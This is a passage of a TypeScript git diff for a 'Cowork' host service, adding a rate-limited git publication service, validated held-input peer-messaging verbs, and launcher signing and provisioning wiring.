hand-built broker refuses outside a fixture. Nothing + * here adds a `CoworkErrorCode`, an RPC or a session-creation path: `session.create {mode:"cowork"}` is unchanged. + */ + +/** The broker surface this service needs (`CoworkGitPublicationBroker` satisfies it). Built per workspace: its journal is. */ +export interface PublishBroker { publish(publisher: Publisher, request: PublicationRequest, signal?: AbortSignal): Promise } +/** The recovery surface of `CanonicalPublicationJournal`. */ +export interface PublishJournal { + recoverPrepared(confirmPreviousOwnerTerminated: (candidate: Readonly<{ workspaceId: string; operationId: string; ownerId: string }>) => Promise, + onCandidateError?: (operationId: string, code: "record_invalid" | "proof_unavailable" | "persistence_unavailable") => void): Promise; +} +/** Where the live guest keeps the session's repository. The host's own record of the running incarnation, never guest JSON. */ +export interface PublishGuestLocator { + locate(input: { readonly workspaceId: string; readonly sessionId: string; readonly sourceId: string }): { readonly incarnationId: string; readonly locationId: string } | null; +} +export interface PublishLimits { + /** Largest bundle the host will pull; must not exceed the broker's own `bundleBytes`. */ + bundleBytes: number; + /** Publish attempts admitted per workspace in one window. In-memory: a daemon restart resets it. */ + maxPerWindow: number; windowMs: number; +} +export interface CoworkPublishPorts { + readonly records: CoworkRepository; + readonly guest: PublishBundlePort & PublishGuestLocator; + broker(workspaceId: string): PublishBroker; + journal(workspaceId: string): PublishJournal; + readonly limits?: Partial; + readonly now?: () => number; +} + +/** The host-authenticated caller. In production this is derived from the connection and the session, not from a request. */ +export interface PublishCaller { readonly principalId: string; readonly sessionId: string; readonly taskId: string } +/** What the guest-side tool supplies: ids and the one ref update. The bundle itself is pulled, never pushed to the host. */ +export interface PublishInput { readonly requestId: string; readonly sourceId: string; readonly ref: string; readonly oldOid: string | null; readonly newOid: string } + +export const DEFAULT_PUBLISH_LIMITS: PublishLimits = Object.freeze({ bundleBytes: 8_388_608, maxPerWindow: 20, windowMs: 600_000 }); +const ID = /^[a-zA-Z0-9_-]{1,128}$/; +const deny = (code: ConstructorParameters[0]): never => { throw new GitPublicationError(code); }; + +export interface CoworkPublishService { + /** Always false from production wiring; true only for a service built from a ports object. */ + availability(): { available: boolean; reason?: "publication_ports_absent" }; + publish(caller: PublishCaller, input: PublishInput, signal?: AbortSignal): Promise; + /** The separate status read path: a prior receipt, never a new effect. */ + status(caller: PublishCaller, requestId: string): PublicationReceipt | null; + /** Retire unsent preparations of a dead host owner. Needs the host's proof that the previous owner terminated. */ + recover(workspaceId: string, confirmPreviousOwnerTerminated: Parameters[0]): Promise; +} + +class Unavailable implements CoworkPublishService { + availability(): { available: false; reason: "publication_ports_absent" } { return { available: false, reason: "publication_ports_absent" }; } + async publish(): Promise { return deny("integration_unavailable"); } + status(): never { return deny("integration_unavailable"); } + async recover(): Promise { return deny("integration_unavailable"); } +} + +/** `undefined` is what production passes. */ +export function createCoworkPublishService(ports: CoworkPublishPorts | undefined): CoworkPublishService { + return ports ? new PublishService(ports) : new Unavailable(); +} + +class PublishService implements CoworkPublishService { + private readonly limits: PublishLimits; + private readonly inFlight = new Set(); + private readonly admissions = new Map(); + constructor(private readonly ports: CoworkPublishPorts) { + this.limits = { ...DEFAULT_PUBLISH_LIMITS, ...ports.limits }; + if (![this.limits.bundleBytes, this.limits.maxPerWindow, this.limits.windowMs].every(n => Number.isSafeInteger(n) && n > 0)) deny("invalid_request"); + } + availability(): { available: true } { return { available: true }; } + + async publish(caller: PublishCaller, input: PublishInput, signal?: AbortSignal): Promise { + const publisher = this.publisher(caller); + if (!input || typeof input !== "object" || ![input.requestId, input.sourceId].every(v => typeof v === "string" && ID.test(v))) return deny("invalid_request"); + const { records, guest } = this.ports; + // Everything below comes from canonical host records, never from the guest: the workspace is the session's binding, the + // revisions are the CURRENT ones. A change while the bundle is pulled makes the broker's authority see a conflict. + let workspaceId: string, sourceRevision: number, publicationRevision: number; + try { + const binding = records.binding(publisher.sessionId); + if (binding.state !== "active" || binding.policy === "plan") return deny("authority_denied"); + workspaceId = binding.workspaceId; + // A source of another workspace, or none, throws here; the broker's authority then judges the repository grant itself. + const source = records.source(workspaceId, input.sourceId); + sourceRevision = source.revision; publicationRevision = records.policy(workspaceId).publicationRevision; + } catch (error) { if (error instanceof GitPublicationError) throw error; return deny("authority_denied"); } + const location = guest.locate({ workspaceId, sessionId: publisher.sessionId, sourceId: input.sourceId }); + if (!location) return deny("bundle_unavailable"); + const release = this.admit(workspaceId); + try { + const bundle = await pullPublishBundle(guest, { workspaceId, sessionId: publisher.sessionId, locationId: location.locationId, + relativePath: publishBundlePath(input.requestId), incarnationId: location.incarnationId, sourceRevision }, + { maxBytes: this.limits.bundleBytes }, signal); + return await this.ports.broker(workspaceId).publish(publisher, { requestId: input.requestId, workspaceId, sourceId: input.sourceId, + sourceRevision, publicationRevision, ref: input.ref, oldOid: input.oldOid, newOid: input.newOid, bundle: bundle.bytes }, signal); + } finally { release(); } + } + + status(caller: PublishCaller, requestId: string): PublicationReceipt | null { + const publisher = this.publisher(caller); + if (typeof requestId !== "string" || !ID.test(requestId)) return deny("invalid_request"); + let workspaceId: string; + try { workspaceId = this.ports.records.binding(publisher.sessionId).workspaceId; } catch { return deny("authority_denied"); } + const row = this.ports.records.rs.db.query<{ operation_id: string; request_digest: string; result_json: string }, [string, string, string]>( + "SELECT operation_id,request_digest,result_json FROM cowork_operations WHERE principal_id=? AND method='git.publish' AND scope=? AND request_id=?").get(publisher.principalId, workspaceId, requestId); + if (!row) return null; + try { + const receipt = JSON.parse(row.result_json).value.publication as PublicationReceipt; + if (receipt.operationId !== row.operation_id || receipt.digest !== row.request_digest) throw new Error(); + return receipt; + } catch { return deny("command_failed"); } + } + + async recover(workspaceId: string, confirm: Parameters[0]): Promise { + if (typeof workspaceId !== "string" || !ID.test(workspaceId)) return deny("invalid_request"); + return this.ports.journal(workspaceId).recoverPrepared(confirm); + } + + private publisher(caller: PublishCaller): Publisher { + if (!caller || ![caller.principalId, caller.sessionId, caller.taskId].every(v => typeof v === "string" && ID.test(v))) return deny("invalid_request"); + return Object.freeze({ principalId: caller.principalId, sessionId: caller.sessionId, taskId: caller.taskId }); + } + + /** One publish at a time per workspace, and a rolling cap on attempts. Both release/expire without leaving state behind. */ + private admit(workspaceId: string): () => void { + if (this.inFlight.has(workspaceId)) return deny("publication_busy"); + const now = (this.ports.now ?? Date.now)(), recent = (this.admissions.get(workspaceId) ?? []).filter(at => now - at < this.limits.windowMs); + if (recent.length >= this.limits.maxPerWindow) { this.admissions.set(workspaceId, recent); return deny("publication_budget"); } + recent.push(now); this.admissions.set(workspaceId, recent); this.inFlight.add(workspaceId); + let released = false; + return () => { if (!released) { released = true; this.inFlight.delete(workspaceId); } }; + } +} diff --git a/packages/core/src/cowork/git/types.ts b/packages/core/src/cowork/git/types.ts index 10da765f6..12ed766cd 100644 --- a/packages/core/src/cowork/git/types.ts +++ b/packages/core/src/cowork/git/types.ts @@ -45,7 +45,9 @@ export interface PublicationJournal { export interface GitCommand { cwd: string; home: string; args: readonly string[]; signal?: AbortSignal; withinBudget?: () => boolean | Promise } export interface GitResult { code: number; stdout: string } export interface GitExecutor { run(command: GitCommand): Promise } -export type GitPublicationErrorCode = "invalid_request" | "authority_denied" | "revision_conflict" | "ref_denied" | "remote_conflict" | "invalid_bundle" | "non_fast_forward" | "object_budget" | "command_failed" | "cancelled" | "request_conflict" | "integration_unavailable"; +export type GitPublicationErrorCode = "invalid_request" | "authority_denied" | "revision_conflict" | "ref_denied" | "remote_conflict" | "invalid_bundle" | "non_fast_forward" | "object_budget" | "command_failed" | "cancelled" | "request_conflict" | "integration_unavailable" + /** Publish service only: the guest bundle could not be read intact, or this workspace is already publishing / over its budget. */ + | "bundle_unavailable" | "bundle_stale" | "publication_busy" | "publication_budget"; /** Deliberately excludes raw Git stderr, paths, credential values and adapter errors. */ export class GitPublicationError extends Error { constructor(readonly code: GitPublicationErrorCode) { super(code); this.name = "GitPublicationError"; } diff --git a/packages/core/src/cowork/held-input-reconcile.ts b/packages/core/src/cowork/held-input-reconcile.ts new file mode 100644 index 000000000..7de1252a8 --- /dev/null +++ b/packages/core/src/cowork/held-input-reconcile.ts @@ -0,0 +1,59 @@ +import type { CoworkHeldInputReconcileContext } from "./session-driver"; +import { CoworkHeldInputRefusal, type CoworkHeldInputVerbs } from "./held-input"; + +/* + * #92 4.5 rule 1, the PEER-INBOX half: reconcile a starting Cowork runtime's `system/held_inputs` with the receipt ledger + * BEFORE the driver publishes its epoch. Every entry is answered: + * held `inbox.verdict`: `commit` under the ledger's `ackedHoldToken` (and confirm), or `discard` under the token the + * RUNTIME reported for that record. + * committed the runtime feeds it itself; the host only confirms it when the ledger lists it unconfirmed. + * in_transcript the same confirmation; then the tombstone is forgotten (best effort). + * A verdict that cannot be read, or a verb that fails, THROWS: the epoch stays unpublished and nothing is guessed. An + * `unknown_input` answer to a commit is terminal (`lost`), as in the drain. + * + * GATED like the verbs: it is the `reconcile` of `CoworkSessionDriverDeps.heldInput`, which no production composition supplies. + */ +export type CoworkCommitOutcome = "folded" | "queued" | "started" | "already" | "lost"; +/** The slice of the receipt ledger used here, structurally (this module never names the ledger). */ +export interface CoworkHeldInputInbox { + verdict(receiptId: string, recipientSessionId: string): { action: "commit"; ackedHoldToken: string } | { action: "discard" }; + confirmCommitted(receiptId: string, outcome: CoworkCommitOutcome): unknown; + deliveredUnconfirmed(recipientSessionId: string): Array<{ receiptId: string; ackedHoldToken: string }>; +} + +/** Runs `work` in the recipient's drain chain (so no drain interleaves with it). Absent: runs it directly. */ +export type CoworkRecipientChain = (recipientSessionId: string, work: () => Promise) => Promise; + +export function coworkHeldInputReconciler(inbox: CoworkHeldInputInbox, chain?: CoworkRecipientChain): (context: CoworkHeldInputReconcileContext) => Promise { + return async context => { + const work = async () => { + const unconfirmed = new Map(inbox.deliveredUnconfirmed(context.sessionId).map(entry => [entry.receiptId, entry.ackedHoldToken])); + for (const entry of context.inputs) { + if (entry.state === "held") { + const verdict = inbox.verdict(entry.inputId, context.sessionId); // a throw leaves the epoch unpublished + if (verdict.action === "commit") await commitAndConfirm(inbox, context.verbs, entry.inputId, verdict.ackedHoldToken); + else await context.verbs.discard(entry.inputId, entry.holdToken); + } else if (unconfirmed.has(entry.inputId)) { + inbox.confirmCommitted(entry.inputId, "already"); + if (entry.state === "in_transcript") await context.verbs.forget(entry.inputId, unconfirmed.get(entry.inputId)!).catch(() => undefined); + } + } + }; + await (chain === undefined ? work() : chain(context.sessionId, work)); + }; +} + +/** Commits a delivered input under its ack token and records how the guest took it; returns that outcome. `unknown_input` is + * terminal (`lost`, confirmed and never retried): returned so the caller can surface it. Any other failure throws (the + * input stays delivered-unconfirmed and the next drain repeats the commit). */ +export async function commitAndConfirm(inbox: Pick, verbs: CoworkHeldInputVerbs, receiptId: string, token: string): Promise { + let outcome: "folded" | "queued" | "started" | "already"; + try { outcome = (await verbs.commit(receiptId, token)).outcome; } + catch (error) { + if (error instanceof CoworkHeldInputRefusal && error.code === "unknown_input") { inbox.confirmCommitted(receiptId, "lost"); return "lost"; } + throw error; + } + inbox.confirmCommitted(receiptId, outcome); + await verbs.forget(receiptId, token).catch(() => undefined); // best effort: the tombstone is harmless + return outcome; +} diff --git a/packages/core/src/cowork/held-input.ts b/packages/core/src/cowork/held-input.ts new file mode 100644 index 000000000..2fd8ad3c5 --- /dev/null +++ b/packages/core/src/cowork/held-input.ts @@ -0,0 +1,222 @@ +import { createHash } from "node:crypto"; +import { CoworkError } from "./types"; + +/* + * #92 N4, held-input messaging, the HOST's half (design section 4.5; the runtime half is agent-sdk #43, GM2): a peer + * message for a Cowork conversation is HELD in the guest runtime's journal (invisible to the model), then COMMITTED (it + * joins the conversation exactly once) or DISCARDED, and a committed tombstone is FORGOTTEN once the host recorded the + * verdict. The host drives these four verbs; the runtime answers in closed shapes, and this module checks every one. + * + * GATED. A Cowork driver exposes these verbs only when (a) the runtime offered `held-input-v1` in its capability (an older + * runtime refuses an unknown control subtype and that refusal is a hard stop) and (b) a host supplied + * `CoworkSessionDriverDeps.heldInput`, which no production composition does (pinned structurally). The winter host SDK + * (0.0.53) has no verbs yet: the query is read STRUCTURALLY, and a query without them refuses `unsupported_topology`. + * + * Literals mirror the SDK's (`packages/sdk/src/options.ts` on agent-sdk #43); a drift test pins them. + */ + +export const COWORK_HELD_INPUT_CAPABILITY = "held-input-v1"; +export const COWORK_HOST_INPUT_SUBTYPES = Object.freeze({ hold: "host_input_hold", commit: "host_input_commit", discard: "host_input_discard", forget: "host_input_forget" } as const); +/** The runtime's typed rejection codes. `unknown_input` is TERMINAL (no record, no tombstone, no transcript entry). */ +export const COWORK_HELD_INPUT_ERRORS = Object.freeze(["conflict", "superseded", "committed", "unknown_input", "epoch", "invalid", "journal_full", "journal_failed"] as const); +export type CoworkHeldInputErrorCode = typeof COWORK_HELD_INPUT_ERRORS[number]; + +const HEX64 = /^[0-9a-f]{64}$/; +const INPUT_ID = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,199}$/; +const TEXT_MAX_BYTES = 64 * 1024, CLIENT_MAX = 256; + +/** The hold token: sha256("hold-v1|receiptId|incarnationId|leaseEpoch|offerCount"), lowercase hex. A new offer (or a new + * incarnation) is a new token, so a stale ack or commit can never land on a later offer. */ +export function coworkHoldToken(receiptId: string, incarnationId: string, leaseEpoch: number, offerCount: number): string { + if (!INPUT_ID.test(receiptId) || typeof incarnationId !== "string" || incarnationId.length === 0 || incarnationId.includes("|") + || !Number.isSafeInteger(leaseEpoch) || leaseEpoch < 1 || !Number.isSafeInteger(offerCount) || offerCount < 1) throw new CoworkError("invalid_request"); + return createHash("sha256").update(`hold-v1|${receiptId}|${incarnationId}|${leaseEpoch}|${offerCount}`).digest("hex"); +} + +export interface CoworkHoldRequest { readonly inputId: string; readonly holdToken: string; readonly epoch: { readonly incarnationId: string; readonly leaseEpoch: number }; readonly text: string; readonly clientName: string } +export type CoworkHoldAnswer = { readonly held: true; readonly again?: true } | { readonly held: false; readonly state: "committed" | "in_transcript" }; +export type CoworkCommitAnswer = { readonly outcome: "folded" | "queued" | "started" | "already" }; +export type CoworkDiscardAnswer = { readonly discarded: true } | { readonly discarded: false; readonly reason: "superseded" }; +export type CoworkForgetAnswer = { readonly forgotten: boolean }; +export interface CoworkHeldInputRecord { readonly inputId: string; readonly digest: string; readonly holdToken: string; readonly state: "held" | "committed" | "in_transcript" } + +/** The host SDK query's verbs (agent-sdk #43's `Query.holdInput/commitInput/discardInput/forgetInput`), structurally. */ +export interface CoworkHeldInputQuery { + holdInput(request: CoworkHoldRequest): Promise; + commitInput(inputId: string, holdToken: string): Promise; + discardInput(inputId: string, holdToken: string): Promise; + forgetInput(inputId: string, holdToken: string): Promise; +} + +/** The runtime refused a verb with one of its typed codes. Anything else (a transport loss, a malformed answer) is + * UNCERTAIN and surfaces as `CoworkError("recovery_required")`: the caller decides nothing from it. */ +export class CoworkHeldInputRefusal extends Error { + constructor(readonly code: CoworkHeldInputErrorCode) { super(code); this.name = "CoworkHeldInputRefusal"; } +} + +const plain = (value: unknown): value is Record => value !== null && typeof value === "object" && !Array.isArray(value) && Object.getPrototypeOf(value) === Object.prototype; +const keysWithin = (value: Record, allowed: readonly string[]) => Object.keys(value).every(key => allowed.includes(key)); +const uncertain = (): never => { throw new CoworkError("recovery_required"); }; + +export function coworkHoldAnswer(value: unknown): CoworkHoldAnswer { + if (!plain(value) || !keysWithin(value, ["held", "again", "state"])) return uncertain(); + if (value.held === true && value.state === undefined && (value.again === undefined || value.again === true)) return Object.freeze(value.again === true ? { held: true, again: true } : { held: true }); + if (value.held === false && value.again === undefined && (value.state === "committed" || value.state === "in_transcript")) return Object.freeze({ held: false, state: value.state }); + return uncertain(); +} +export function coworkCommitAnswer(value: unknown): CoworkCommitAnswer { + if (!plain(value) || !keysWithin(value, ["outcome"]) || !["folded", "queued", "started", "already"].includes(value.outcome as string)) return uncertain(); + return Object.freeze({ outcome: value.outcome as CoworkCommitAnswer["outcome"] }); +} +export function coworkDiscardAnswer(value: unknown): CoworkDiscardAnswer { + if (!plain(value) || !keysWithin(value, ["discarded", "reason"])) return uncertain(); + if (value.discarded === true && value.reason === undefined) return Object.freeze({ discarded: true }); + if (value.discarded === false && value.reason === "superseded") return Object.freeze({ discarded: false, reason: "superseded" }); + return uncertain(); +} +export function coworkForgetAnswer(value: unknown): CoworkForgetAnswer { + if (!plain(value) || !keysWithin(value, ["forgotten"]) || typeof value.forgotten !== "boolean") return uncertain(); + return Object.freeze({ forgotten: value.forgotten }); +} +/** `system/held_inputs`: emitted exactly once after init, ALWAYS (empty included). A malformed list is uncertain. */ +export function coworkHeldInputsEvent(value: unknown): readonly CoworkHeldInputRecord[] { + if (!plain(value) || !keysWithin(value, ["inputs"]) || !Array.isArray(value.inputs)) return uncertain(); + const seen = new Set(); + return Object.freeze(value.inputs.map(item => { + if (!plain(item) || !keysWithin(item, ["inputId", "digest", "holdToken", "state"]) || typeof item.inputId !== "string" || !INPUT_ID.test(item.inputId) || seen.has(item.inputId) + || typeof item.digest !== "string" || !HEX64.test(item.digest) || typeof item.holdToken !== "string" || !HEX64.test(item.holdToken) + || !["held", "committed", "in_transcript"].includes(item.state as string)) return uncertain(); + seen.add(item.inputId); + return Object.freeze({ inputId: item.inputId, digest: item.digest, holdToken: item.holdToken, state: item.state as CoworkHeldInputRecord["state"] }); + })); +} + +/** A `system/held_inputs` message's records, or undefined when `message` is some other message. A malformed one throws + * `recovery_required` (the caller never publishes the epoch). */ +export function coworkHeldInputsFrom(message: unknown): readonly CoworkHeldInputRecord[] | undefined { + if (!plain(message) || message.type !== "system" || message.subtype !== "held_inputs") return undefined; + return coworkHeldInputsEvent({ inputs: message.inputs }); +} + +/** + * Observes the query's messages for `system/held_inputs` (emitted once after init, always) and hands the first to `onHeldInputs`. + * Every message is passed on unchanged and in order; every other member of the query is the query's own. + */ +export function coworkTapHeldInputs(query: Q, onHeldInputs: (message: unknown) => void): Q { + return new Proxy(query, { + get(target, property) { + if (property === Symbol.asyncIterator) { + return async function* tapped() { + for await (const message of target as unknown as AsyncIterable) { + if (plain(message) && message.type === "system" && message.subtype === "held_inputs") onHeldInputs(message); + yield message; + } + }; + } + const value = Reflect.get(target, property, target); + return typeof value === "function" ? value.bind(target) : value; + }, + }); +} + +/** The four verbs a Cowork driver exposes (gated; see the header). Every call is bound to the incarnation that is live. */ +export interface CoworkHeldInputVerbs { + hold(input: { readonly inputId: string; readonly holdToken: string; readonly text: string; readonly clientName: string }): Promise; + commit(inputId: string, holdToken: string): Promise; + discard(inputId: string, holdToken: string): Promise; + forget(inputId: string, holdToken: string): Promise; +} + +/** Whether the runtime's capability offers held input (`runtimeCapability.capabilities`). */ +export function coworkOffersHeldInput(runtimeCapability: { readonly capabilities: readonly string[] } | undefined): boolean { + return Array.isArray(runtimeCapability?.capabilities) && runtimeCapability.capabilities.includes(COWORK_HELD_INPUT_CAPABILITY); +} + +/** + * The verbs over a live query, bound to `epoch()` (the incarnation the driver runs now; undefined when none is live, which + * refuses `cold_resume_unavailable`). Requests are checked before they leave (closed shape, sizes, tokens); answers are + * checked when they return. A runtime refusal with a known code is `CoworkHeldInputRefusal`; anything else is uncertain. + */ +export function coworkHeldInputVerbs(query: () => unknown, epoch: () => { readonly incarnationId: string; readonly leaseEpoch: number } | undefined): CoworkHeldInputVerbs { + const live = (): CoworkHeldInputQuery => { + const q = query() as Partial | undefined; + if (q === undefined || q === null) throw new CoworkError("cold_resume_unavailable"); + if (typeof q.holdInput !== "function" || typeof q.commitInput !== "function" || typeof q.discardInput !== "function" || typeof q.forgetInput !== "function") throw new CoworkError("unsupported_topology"); + return q as CoworkHeldInputQuery; + }; + const checkRef = (inputId: string, holdToken: string) => { if (typeof inputId !== "string" || !INPUT_ID.test(inputId) || typeof holdToken !== "string" || !HEX64.test(holdToken)) throw new CoworkError("invalid_request"); }; + const call = async (run: () => Promise, check: (value: unknown) => T): Promise => { + let answer: unknown; + try { answer = await run(); } + catch (error) { + const code = (error as { code?: unknown } | null)?.code; + if (typeof code === "string" && (COWORK_HELD_INPUT_ERRORS as readonly string[]).includes(code)) throw new CoworkHeldInputRefusal(code as CoworkHeldInputErrorCode); + throw new CoworkError("recovery_required"); + } + return check(answer); + }; + const verbs: CoworkHeldInputVerbs = { + async hold(input) { + checkRef(input?.inputId, input?.holdToken); + // A leading `/` is a slash command to the host-query guest, which ends its runtime: refused here, like `guestText` does. + if (typeof input.text !== "string" || input.text.length === 0 || input.text.trimStart().startsWith("/") || Buffer.byteLength(input.text, "utf8") > TEXT_MAX_BYTES) throw new CoworkError("invalid_request"); + if (typeof input.clientName !== "string" || input.clientName.length === 0 || input.clientName.length > CLIENT_MAX) throw new CoworkError("invalid_request"); + const now = epoch(); + if (now === undefined) throw new CoworkError("cold_resume_unavailable"); + const q = live(); + const request: CoworkHoldRequest = { inputId: input.inputId, holdToken: input.holdToken, epoch: { incarnationId: now.incarnationId, leaseEpoch: now.leaseEpoch }, text: input.text, clientName: input.clientName }; + return call(() => q.holdInput(request), coworkHoldAnswer); + }, + async commit(inputId, holdToken) { checkRef(inputId, holdToken); if (epoch() === undefined) throw new CoworkError("cold_resume_unavailable"); const q = live(); return call(() => q.commitInput(inputId, holdToken), coworkCommitAnswer); }, + async discard(inputId, holdToken) { checkRef(inputId, holdToken); if (epoch() === undefined) throw new CoworkError("cold_resume_unavailable"); const q = live(); return call(() => q.discardInput(inputId, holdToken), coworkDiscardAnswer); }, + async forget(inputId, holdToken) { checkRef(inputId, holdToken); if (epoch() === undefined) throw new CoworkError("cold_resume_unavailable"); const q = live(); return call(() => q.forgetInput(inputId, holdToken), coworkForgetAnswer); }, + }; + return Object.freeze(verbs); +} + +// ---------------------------------------------------------------------------------------------------- host messaging answers +/** `host_message_send`'s answer (agent-sdk `isHostMessageSendAnswer`), checked before the host replies, so a malformed + * answer never leaves the host (the runtime would refuse it and the guest call would hang to its timeout). */ +const SEND_STATUSES = ["delivered", "queued", "resumed_and_delivered", "refused", "not_found", "unavailable", "delivery_uncertain"] as const; +const REASON_REQUIRED = ["refused", "not_found", "unavailable", "delivery_uncertain"]; +export type CoworkHostMessageSendAnswer = { + readonly status: typeof SEND_STATUSES[number]; readonly reason?: string; readonly retryable?: boolean; readonly note?: string; + readonly notify?: { readonly subscribed?: true; readonly refused?: string }; +}; +export function coworkHostMessageSendAnswer(value: unknown): CoworkHostMessageSendAnswer { + const bad = (): never => { throw new CoworkError("invalid_request"); }; + if (!plain(value) || !keysWithin(value, ["status", "reason", "retryable", "note", "notify"]) || !(SEND_STATUSES as readonly unknown[]).includes(value.status)) return bad(); + if (value.reason !== undefined && (typeof value.reason !== "string" || value.reason.length === 0)) return bad(); + if (REASON_REQUIRED.includes(value.status as string) && value.reason === undefined) return bad(); + if (value.retryable !== undefined && typeof value.retryable !== "boolean") return bad(); + if (value.note !== undefined && (typeof value.note !== "string" || value.note.length > 500)) return bad(); + if (value.notify !== undefined && (!plain(value.notify) || !keysWithin(value.notify, ["subscribed", "refused"]) + || (value.notify.subscribed !== undefined && value.notify.subscribed !== true) || (value.notify.refused !== undefined && typeof value.notify.refused !== "string"))) return bad(); + return Object.freeze({ ...value }) as CoworkHostMessageSendAnswer; +} +const LIST_STATUSES = ["starting", "running", "idle", "exited", "unavailable", "archived"]; +export type CoworkHostMessageListAnswer = { readonly sessions: readonly { readonly address: string; readonly name?: string; readonly status: string; readonly mode: string; readonly cwd?: string }[]; readonly omitted?: number }; +export function coworkHostMessageListAnswer(value: unknown): CoworkHostMessageListAnswer { + const bad = (): never => { throw new CoworkError("invalid_request"); }; + if (!plain(value) || !keysWithin(value, ["sessions", "omitted"]) || !Array.isArray(value.sessions)) return bad(); + if (value.omitted !== undefined && (!Number.isSafeInteger(value.omitted) || (value.omitted as number) < 0)) return bad(); + const sessions = value.sessions.map(item => { + if (!plain(item) || !keysWithin(item, ["address", "name", "status", "mode", "cwd"]) || typeof item.address !== "string" || item.address.length === 0 + || !LIST_STATUSES.includes(item.status as string) || typeof item.mode !== "string" || (item.name !== undefined && typeof item.name !== "string") || (item.cwd !== undefined && typeof item.cwd !== "string")) return bad(); + return Object.freeze({ ...item }) as CoworkHostMessageListAnswer["sessions"][number]; + }); + return Object.freeze({ sessions: Object.freeze(sessions), ...(value.omitted === undefined ? {} : { omitted: value.omitted as number }) }); +} + +/** The content of the note shown once per stall of a recipient's held-input queue (3 failed drains in a row on transport or + * malformed answers): fixed text, no sender, no message detail. */ +export function coworkStalledInboxNotice(): { readonly warning: "peer_inbox_stalled"; readonly text: string } { + return Object.freeze({ warning: "peer_inbox_stalled", text: "Messages from other sessions in this project are waiting to be delivered to this conversation; delivery is being retried." } as const); +} + +/** The content of the note a recipient's conversation shows for a peer message that was accepted but lost (`unknown_input`, + * 4.5): a `continuity_warning` event's `warning` and `text`. The composition appends it; the sender is not named, because + * the guest never saw the message. */ +export function coworkLostInputNotice(): { readonly warning: "peer_message_lost"; readonly text: string } { + return Object.freeze({ warning: "peer_message_lost", text: "A message from another session in this project was accepted but could not be delivered to this conversation." } as const); +} diff --git a/packages/core/src/cowork/host-env/environment.ts b/packages/core/src/cowork/host-env/environment.ts index 39a60fbfc..a056221ac 100644 --- a/packages/core/src/cowork/host-env/environment.ts +++ b/packages/core/src/cowork/host-env/environment.ts @@ -16,6 +16,10 @@ import { createCoworkRecoverGuards, processStartToken } from "./guards"; import { createCoworkLauncherPort, type CoworkLauncherPortOptions } from "./launcher-port"; import { createCoworkHomeBindingStore, createCoworkLaunchJournal, createCoworkReceiptStore } from "./stores"; import { readVolumeId } from "./volume-identity"; +import { createCoworkOutputsPreparer, createCoworkShareDirectoryOpener } from "./guest-dirs"; +import { CoworkGuestRecords } from "./guest-records"; +import { createCoworkProvisioningPort, type CoworkVerifiedGuestImage } from "./provisioning"; +import { CoworkError } from "../types"; import type { CoordinationPathInputs } from "../native/admission-probes"; /* @@ -28,9 +32,11 @@ import type { CoordinationPathInputs } from "../native/admission-probes"; */ export const COWORK_LAUNCHER_IDENTIFIER = "com.winter.cowork.launcher"; +/** What `dev:cowork-native` signs the dev launcher as: the launcher reads which daemon it serves from its OWN signing identifier, so a dev daemon expects this one. */ +export const COWORK_LAUNCHER_DEV_IDENTIFIER = "com.winter.cowork.launcher.dev"; export const COWORK_DEFAULT_TEAM = "37N77U9RSZ"; /** Identifier + Winter's team under Apple's anchor, the same form as `scripts/embed-cowork-native.sh` states and `embed-computer-helper.sh` uses. */ -export const coworkLauncherRequirement = (team: string = COWORK_DEFAULT_TEAM): string => `identifier "${COWORK_LAUNCHER_IDENTIFIER}" and anchor apple generic and certificate leaf[subject.OU] = "${team}"`; +export const coworkLauncherRequirement = (team: string = COWORK_DEFAULT_TEAM, identifier: string = COWORK_LAUNCHER_IDENTIFIER): string => `identifier "${identifier}" and anchor apple generic and certificate leaf[subject.OU] = "${team}"`; /** `Winter.app/Contents/Helpers/WinterCowork/{winter-cowork-launcher,winter-cowork-worker}`, next to `Contents/Resources/winter-core`. */ export function coworkNativeBinaryPaths(executablePath: string): { launcherPath: string; workerPath: string } { const base = resolve(dirname(executablePath), "..", "Helpers", "WinterCowork"); @@ -52,6 +58,8 @@ export interface CoworkNativeProductionOptions { /** The daemon's own executable (`process.execPath` in production). */ readonly executablePath: string; readonly team?: string; + /** The launcher's signing identifier: the dist one by default, the dev one for the dev daemon (`WINTER_PROFILE=dev`, chosen by the activation seam). */ + readonly launcherIdentifier?: string; /** `ioreg`, `sysctl` and the process table. The default is the real ones, created lazily and only here. */ readonly adapters?: { runCommand: HostCommandRunner; sysctl: SysctlReader; processes: ProcessTable }; readonly space?: FilesystemSpaceReader; @@ -59,6 +67,10 @@ export interface CoworkNativeProductionOptions { readonly launcher?: Partial>; readonly daemonPid?: number; readonly now?: () => number; + /** The installed image's verified facts (the image lane's manifest check), or null. No reader exists yet, so the default is null and the provisioning port stays unavailable. */ + readonly image?: () => CoworkVerifiedGuestImage | null; + /** Records the image pin for a workspace (the lifecycle authority behind it is the caller's). The default refuses. */ + readonly pin?: (workspaceId: string, digests: { baseImageDigest: string; runtimeImageDigest: string }) => unknown; } export interface CoworkNativeProductionEnvironment extends CoworkNativeEnvironment { @@ -135,7 +147,7 @@ export function createCoworkNativeProductionEnvironment(options: CoworkNativePro const journal = createCoworkLaunchJournal(journalDirectory); const { launcherPath, workerPath } = coworkNativeBinaryPaths(options.executablePath); - const launcher = createCoworkLauncherPort({ launcherPath, workerPath, receiptDirectory, requirement: coworkLauncherRequirement(options.team), processes: adapters.processes, ...options.launcher }); + const launcher = createCoworkLauncherPort({ launcherPath, workerPath, receiptDirectory, requirement: coworkLauncherRequirement(options.team, options.launcherIdentifier), processes: adapters.processes, ...options.launcher }); const instanceNonce = randomBytes(12).toString("hex"), daemonPid = options.daemonPid ?? process.pid; const daemon = (): AdmissionOwner => { @@ -145,8 +157,11 @@ export function createCoworkNativeProductionEnvironment(options: CoworkNativePro }; let timer: ReturnType | null = null; + const guestRecords = new CoworkGuestRecords(options.db); return { launcher, admission: ledger, backup: timeMachineVolumeBackup, hostBoot, daemon, receipts, journal, + guestRecords, outputs: createCoworkOutputsPreparer(options.home), shareDirectories: createCoworkShareDirectoryOpener(), + provisioningPort: createCoworkProvisioningPort({ db: options.db, home: options.home, backup: timeMachineVolumeBackup, guestRecords, environmentActive: () => true, image: options.image ?? (() => null), pin: options.pin ?? (() => { throw new CoworkError("unsupported_topology"); }) }), guards: ({ volumes }) => createCoworkRecoverGuards({ journal, processes: adapters.processes, bootId: () => probes.hostIdentity()?.bootId ?? null, home: canonicalHome, ownersHeld: workspaceId => volumes.records(workspaceId).some(volume => volume.owner !== null) }), probes, ledger, pressure: guard, homeId, installationId, receiptDirectory, journalDirectory, 